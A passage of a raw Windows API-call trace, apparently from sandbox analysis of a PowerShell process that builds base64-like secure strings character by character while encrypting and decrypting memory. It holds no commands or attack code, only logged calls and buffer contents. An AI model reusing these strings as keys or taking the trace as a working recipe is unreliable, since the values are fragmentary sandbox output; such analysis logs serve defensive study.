Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.852] SysStringLen (param_1="ANGdDXEv1oyookx5eKpG뽙䆝") returned 0x18 [0254.852] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.852] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꊌ튁嬡암區䢆≭) returned 0x18 [0254.852] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꊌ튁嬡암區䢆≭) returned 0x18 [0254.852] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.852] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD䆝") returned 0x18 [0254.852] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.852] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇ톌ዢ킹㟦䧛勝륏૟∵) returned 0x18 [0254.852] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇ톌ዢ킹㟦䧛勝륏૟∵) returned 0x18 [0254.852] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.853] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2䆝") returned 0x18 [0254.853] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.853] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇ떌坊꭛䆩쏉꾂긘≿) returned 0x18 [0254.853] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇ떌坊꭛䆩쏉꾂긘≿) returned 0x18 [0254.853] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.853] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2C䆝") returned 0x18 [0254.853] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.853] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇ⾌橙䩭됭૮㺌펳狨⊐) returned 0x18 [0254.853] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇ⾌橙䩭됭૮㺌펳狨⊐) returned 0x18 [0254.853] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.853] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CP") returned 0x18 [0254.853] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0254.854] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕") returned 0x18 [0254.854] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕") returned 0x18 [0254.854] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕") returned 0x18 [0254.854] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕") returned 0x20 [0254.854] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.854] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPD䄂㾲᥿媧ꭙ稻ฮ") returned 0x20 [0254.855] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.855] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕䨽ل斗۹떯꺻㚠௿") returned 0x20 [0254.855] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕䨽ل斗۹떯꺻㚠௿") returned 0x20 [0254.855] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.855] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPDV㾲᥿媧ꭙ稻ฮ") returned 0x20 [0254.855] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.855] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕饃떽눝㢮⏍\∆) returned 0x20 [0254.855] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕饃떽눝㢮⏍\∆) returned 0x20 [0254.855] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.855] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPDVC᥿媧ꭙ稻ฮ") returned 0x20 [0254.855] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.855] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕㵏詮ၭᡷ꿒⩅ᨹ") returned 0x20 [0254.855] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕㵏詮ၭᡷ꿒⩅ᨹ") returned 0x20 [0254.856] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.856] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPDVCo媧ꭙ稻ฮ") returned 0x20 [0254.856] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.856] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕䋗岔咵鲻뻞ᢃꢻ") returned 0x20 [0254.856] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕䋗岔咵鲻뻞ᢃꢻ") returned 0x20 [0254.856] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.856] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPDVCo6ꭙ稻ฮ") returned 0x20 [0254.856] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.856] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕딓⌒닖໼镑䇝퉕䬕") returned 0x20 [0254.856] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕딓⌒닖໼镑䇝퉕䬕") returned 0x20 [0254.856] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.857] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPDVCo6a稻ฮ") returned 0x20 [0254.857] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.857] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕溗ﭬᚳ윻㸱Ẑ趭") returned 0x20 [0254.857] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕溗ﭬᚳ윻㸱Ẑ趭") returned 0x20 [0254.857] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.857] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPDVCo6aGฮ") returned 0x20 [0254.857] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.857] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕䧐⛍㥃ﹹ廠䥕ᯫꁽ") returned 0x20 [0254.857] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕䧐⛍㥃ﹹ廠䥕ᯫꁽ") returned 0x20 [0254.857] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.857] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPDVCo6aGi") returned 0x20 [0254.857] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0254.858] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏") returned 0x20 [0254.858] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏") returned 0x20 [0254.858] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏") returned 0x20 [0254.858] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏") returned 0x28 [0254.858] SystemFunction041 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.858] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPDVCo6aGir杞罙珢㏺⊃ﯴ") returned 0x28 [0254.858] SystemFunction040 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.859] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏ჿ㐵룔樧㢳렚嚂ᯂ") returned 0x28 [0254.859] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏ჿ㐵룔樧㢳렚嚂ᯂ") returned 0x28 [0254.859] SystemFunction041 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.859] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPDVCo6aGirf罙珢㏺⊃ﯴ") returned 0x28 [0254.859] SystemFunction040 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.859] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏滉柊\짜铤뒮촬⊛) returned 0x28 [0254.859] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏滉柊\짜铤뒮촬⊛) returned 0x28 [0254.859] SystemFunction041 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.859] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPDVCo6aGirfv珢㏺⊃ﯴ") returned 0x28 [0254.859] SystemFunction040 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.859] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏厏ἵ⌭㖑韖룝앻姲") returned 0x28 [0254.859] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏厏ἵ⌭㖑韖룝앻姲") returned 0x28 [0254.859] SystemFunction041 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.859] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPDVCo6aGirfv8㏺⊃ﯴ") returned 0x28 [0254.860] SystemFunction040 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.860] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏䊽쫜棬뫜蛴脉") returned 0x28 [0254.860] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏䊽쫜棬뫜蛴脉") returned 0x28 [0254.860] SystemFunction041 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.860] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPDVCo6aGirfv8T⊃ﯴ") returned 0x28 [0254.860] SystemFunction040 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.860] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏ዥᴵ鹲ྥ䝁恔") returned 0x28 [0254.860] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏ዥᴵ鹲ྥ䝁恔") returned 0x28 [0254.860] SystemFunction041 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.860] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPDVCo6aGirfv8T9⊃ﯴ") returned 0x28 [0254.860] SystemFunction040 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.860] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏㡘ꉞ꩔⬕\濞웠⊡) returned 0x28 [0254.860] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏㡘ꉞ꩔⬕\濞웠⊡) returned 0x28 [0254.860] SystemFunction041 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.861] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPDVCo6aGirfv8T90ﯴ") returned 0x28 [0254.861] SystemFunction040 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.861] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏絔൫巫ꁿ驓甗ɂ䓎") returned 0x28 [0254.861] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏絔൫巫ꁿ驓甗ɂ䓎") returned 0x28 [0254.861] SystemFunction041 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.861] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPDVCo6aGirfv8T902") returned 0x28 [0254.861] SystemFunction040 (in: Memory=0x3af774, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af774) returned 0x0 [0254.861] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏亙瞥貜轂죲涆뎛뼐") returned 0x28 [0254.861] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏亙瞥貜轂죲涆뎛뼐") returned 0x28 [0254.861] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏亙瞥貜轂죲涆뎛뼐") returned 0x28 [0254.862] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏亙瞥貜轂죲涆뎛뼐") returned 0x30 [0254.862] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0254.862] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPDVCo6aGirfv8T902G估ﯵ㖌䌝\⯀≲) returned 0x30 [0254.862] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0254.862] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏亙瞥貜轂죲涆뎛뼐⢡蕸컧尧ꩈ㟟ᤳ㋑") returned 0x30 [0254.862] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏亙瞥貜轂죲涆뎛뼐⢡蕸컧尧ꩈ㟟ᤳ㋑") returned 0x30 [0254.862] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0254.863] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPDVCo6aGirfv8T902Ggﯵ㖌䌝\⯀≲) returned 0x30 [0254.863] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0254.863] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏亙瞥貜轂죲涆뎛뼐䛠Ἣ䄽盃닪俵샒") returned 0x30 [0254.863] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏亙瞥貜轂죲涆뎛뼐䛠Ἣ䄽盃닪俵샒") returned 0x30 [0254.863] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0254.863] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPDVCo6aGirfv8T902GgI㖌䌝\⯀≲) returned 0x30 [0254.863] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0254.863] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏亙瞥貜轂죲涆뎛뼐ٜ\糞焘⑲뫘褒謩∓) returned 0x30 [0254.863] SysStringLen (param_1="⟳鮎㇪౶\볔苧쐈䐡ኅ뛐崴着Ꚇꮌ靫\䣛ꎱ텈ᴦै쌕❂忋࠰줬렕区凰㛏亙瞥貜轂죲涆뎛뼐ٜ\糞焘⑲뫘褒謩∓) returned 0x30 [0254.863] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0254.863] SysStringLen (param_1="ANGdDXEv1oyookx5eKpGD2CPDVCo6aGirfv8T902GgI=䌝\⯀≲) returned 0x30 [0254.863] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0254.863] EtwEventActivityIdControl () returned 0x0 [0254.864] EtwEventActivityIdControl () returned 0x0 [0254.864] EtwEventActivityIdControl () returned 0x0 [0254.864] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.864] EtwEventActivityIdControl () returned 0x0 [0254.864] EtwEventActivityIdControl () returned 0x0 [0254.864] EtwEventActivityIdControl () returned 0x0 [0254.865] SysStringLen (param_1="") returned 0x8 [0254.865] SysStringLen (param_1="N") returned 0x8 [0254.865] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.865] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0254.865] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0254.865] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.866] SysStringLen (param_1="ND") returned 0x8 [0254.866] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.866] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0254.866] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0254.866] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.866] SysStringLen (param_1="NDZ") returned 0x8 [0254.866] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.866] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0254.866] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0254.866] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.866] SysStringLen (param_1="NDZl") returned 0x8 [0254.866] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.867] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0254.867] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0254.867] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.867] SysStringLen (param_1="NDZlO") returned 0x8 [0254.867] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.867] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0254.867] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0254.867] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.867] SysStringLen (param_1="NDZlOD") returned 0x8 [0254.867] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.867] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0254.867] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0254.867] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.867] SysStringLen (param_1="NDZlODR") returned 0x8 [0254.868] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.868] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0254.868] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0254.868] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.868] SysStringLen (param_1="NDZlODRm") returned 0x8 [0254.868] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0254.868] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0254.868] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0254.868] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0254.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0254.869] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.869] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0254.869] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0254.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0254.869] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.869] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0254.869] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0254.869] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0254.870] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.870] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0254.870] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.870] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0254.870] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0254.870] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.870] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0254.870] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.870] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0254.870] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0254.870] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0254.870] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0254.870] SystemFunction040 (in: 